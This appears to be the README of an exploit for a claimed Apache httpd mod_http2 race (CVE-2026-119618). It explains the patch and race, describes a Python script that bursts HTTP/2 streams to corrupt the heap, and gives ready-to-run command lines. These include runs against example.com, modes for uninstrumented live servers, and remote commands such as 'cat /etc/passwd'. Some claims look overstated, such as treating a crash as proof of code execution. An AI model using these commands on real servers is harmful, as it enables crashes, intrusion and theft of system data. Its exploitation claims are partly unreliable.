Python HTTP/2 exploit for CVE-2026-119618, a mod_http2 request-header race causing heap corruption and RCE in Apache httpd 2.4.55–2.4.70, with Docker test rig.
Concurrent Execution Using a Shared Resource with Improper Synchronization (CWE-362) in the HTTP/2 request-header table → heap corruption → RCE.
| CVSS | 9.8 (Critical) |
| Vulnerable | httpd 2.4.55 – 2.4.70, standalone mod_h2 2.0.8 – 2.0.42 |
| Fixed in | httpd 2.4.71 (released 2026-11-11) |
| Upstream patch | 824beab (2.4.x) / 5ed3928 (trunk) — mod_http2: assign_headers update table (#975) (#977) |
| Finders | Anthropic OSS Scanner (ANT-2026-MAPKT6MZ), Google Cloud VRP (Weems / Scannell) |
One line in modules/http2/h2_request.c, inside assign_headers():
--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
/* If we have a content-type, but already seen eos, no more
* data will come. Signal a zero content length explicitly.
*/
- apr_table_setn(req->headers, "Content-Length", "0");
+ apr_table_setn(r->headers_in, "Content-Length", "0");
Full saved diff: references/824beab_mod_http2_assign_headers.patch.
The vulnerable branch only runs when all of these hold for a single request:
CONNECT;Content-Length header;Content-Type header;no_body is true — the client already sent END_STREAM with no DATA frame
(no_body == conn_ctx->beam_in == NULL, i.e. the request body was never
buffered because the stream carried END_STREAM at header time).req->headers is the h2_request header table. That table is a shared
resource with two owners:
h2_stream_add_header() → h2_request_add_header() →
h2_request_add_header writes into req->headers.h2_mplx → c2_process() →
h2_create_request_rec(req, c, …) → assign_headers(r, req, no_body, …).In the vulnerable code the last write of the request lifecycle —
apr_table_setn(req->headers, "Content-Length", "0") — happened on a c2
worker thread, on a table the c1 thread may still be writing to (the
session keeps dispatching/flushing frames for that stream after the c2 worker
has started c2_process). Two threads mutating the same apr_table_t
(hash-table rehash / element realloc) with no lock → heap corruption.
r->headers_in, by contrast, is created at the top of assign_headers() as
apr_table_clone(r->pool, req->headers) — a fresh per-request copy in the
c2 worker's pool, never touched by c1. The fix simply moves the write there,
removing the shared-resource write and the race.
Content-Type present, no Content-Length, END_STREAM flag set on
the HEADERS frame (no body follows).apr_table_setn(req->headers, …) while the c1 thread is concurrently
touching the same req->headers.apr_table mutation → heap corruption → RCE (or DoS
if the corruption is benign / ASLR is hostile).Observable on a live server: a stream gets RST_STREAM, the connection
gets a GOAWAY, or the connection drops mid-burst (a crash). A patched
2.4.71 server answers the same single request normally — which is why the
--verify mode is a smoke test and the burst mode is what forces the race.
cve_2026_119618_exploit.py — pure-Python,
drives the HTTP/2 state machine with the h2
package (no C deps). For each round it opens one connection, negotiates h2
(ALPN) or h2c, and fires a tight burst of triggers + flood streams in a
single sendall() so all HEADERS frames (each with END_STREAM) hit the server
back-to-back; it then watches for RST / GOAWAY / EOF.
Works on any h2-enabled vulnerable Apache — no custom CGI, no special
server config required. The RST/EOF is the corruption signature; the
--cmd flag is optional (for RCE-proof on a test rig with an RCE-endpoint).
The exploit decodes the response HEADERS with a raw hpack decoder (kept
separate from the h2 lib's internal decoder, which buffers frames until the
stream is closed by END_STREAM — a frame Apache's mod_h2 often doesn't send
on the RCE-proof CGI response). This is how the X-Cmd-Out RCE proof is
captured reliably, even when the h2 lib's state machine never emits
ResponseReceived.
pip install h2
# h2 over TLS (most live servers). Cert verification is skipped by default
# (good for self-signed / wildcard certs); pass --cert-verify to verify.
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls \
--triggers 5 --flood 32 --rounds 500 -v
# cleartext h2c (e.g. a local test build or a server with h2c enabled)
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8080 --h2c \
--triggers 5 --flood 32 --rounds 1000 -v
# auto-negotiate: try h2c first, fall back to h2-over-TLS
python3 cve_2026_119618_exploit.py -H example.com -p 443 --auto \
--triggers 5 --flood 32 --rounds 500 -v
# patched/vulnerable smoke test: one quiet trigger, no burst
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls --verify
# RCE proof (for a test rig with an RCE-endpoint CGI): the command is passed
# in the X-Cmd header (keeping the trigger bodyless, as the CVE requires),
# and the output is returned in the X-Cmd-Out response header.
# --extra-headers pads the trigger with dummy headers to force apr_table
# rehashes (widening the c1/c2 race window); --conns fires N parallel
# connections per wave to saturate the c2 worker pool.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 443 --tls \
--trigger-path /cgi-bin/rce-cgi --cmd 'cat /etc/passwd' \
--triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 200 -v
# STANDARD mode: the target is a plain Apache with NO rce-cgi / no ScriptAlias
# (a live box you haven't instrumented). Proves RCE via the corruption
# signature (RST/EOF) instead of X-Cmd-Out. The trigger and flood both hit a
# normal path (default "/").
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8443 --tls --standard \
--triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 500 -v
# RCE-ON-STD: ACTUAL RCE on a standard box that has its OWN body-reading
# handler (its standard /cgi-bin, SSI, PHP eval, ...). The command goes in the
# request BODY (not the X-Cmd header). The CVE's assign_headers() writes
# Content-Length:0 into the shared req->headers table, which is cloned into
# r->headers_in — so the body (carrying the command) reaches the handler, which
# echoes/executes it. Point --trigger-path at the box's body-reading handler.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 9443 --tls --rce-on-std \
--trigger-path /cgi-bin/echo-cgi --cmd 'cat /etc/passwd' \
--triggers 5 --flood 16 --conns 4 --rounds 30 -v
Three proof modes, by what the target has: